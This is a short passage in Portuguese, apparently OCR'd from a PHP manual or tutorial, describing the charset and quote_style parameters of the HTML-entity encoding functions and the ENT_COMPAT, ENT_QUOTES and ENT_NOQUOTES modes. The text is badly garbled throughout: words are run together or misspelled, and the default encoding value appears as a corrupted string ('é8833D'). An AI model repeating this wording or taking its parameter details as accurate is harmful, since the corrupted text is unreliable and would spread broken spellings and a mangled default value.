caracteres (codificacéo) a ser utilizada. O padréo de codificacdo é8833D

Para o segundo parametrquote_style o modo padrdo, ENT_COMPAT, é o modo mais
compativel com a atualidade, apenas transforma a aspagla e deixa a aspaimples como

estd. Se ENT_QUOTES esta definida, ambas transformadas e se ENT_NOQUOTES estéa definida
nenhuma das duas séo modificadas.
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